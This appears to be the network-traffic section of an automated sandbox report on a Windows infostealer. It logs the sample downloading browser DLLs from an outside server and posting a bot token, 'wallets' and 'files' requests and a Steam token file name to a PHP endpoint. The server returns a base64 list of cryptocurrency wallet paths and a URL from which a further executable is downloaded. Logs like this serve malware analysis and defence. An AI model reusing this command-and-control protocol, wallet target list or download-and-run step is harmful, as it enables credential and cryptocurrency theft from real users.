Nov 20, 2024 12:57:53.037612915 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 20, 2024 12:57:53.037687063 CET	744	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 20, 2024 12:57:53.037729025 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 20, 2024 12:57:53.037764072 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 20, 2024 12:57:53.845088005 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:54.062863111 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 12:57:54.466939926 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:54.686252117 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 12:57:55.160216093 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:55.377563000 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 12:57:56.822783947 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:57.040658951 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 12:57:57.321983099 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:57.539634943 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 12:57:58.001693010 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:57:58.750883102 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:58.859349966 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"wallets------GHDHDGHJEBGIDGDGIJJK--
Nov 20, 2024 12:57:59.081619024 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 12:57:59.084775925 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="message"files------DHCGIDHDAKJECBFHCBAA--
Nov 20, 2024 12:57:59.307267904 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:59.319550991 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file"------JJDGIIDHJEBGIDHJJDBK--
Nov 20, 2024 12:58:00.031845093 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:58:00.058248043 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 2d 2d 0d 0a Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="message"ybncbhylepme------HJDAKFBFBFBAAAAAEBKJ--
Nov 20, 2024 12:58:00.281992912 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 20, 2024 12:58:02.820936918 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGHIIJKEBGIDHIDBKJD--
Nov 20, 2024 12:58:03.535900116 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49761	185.215.113.16	80	432	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:58:00.294647932 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
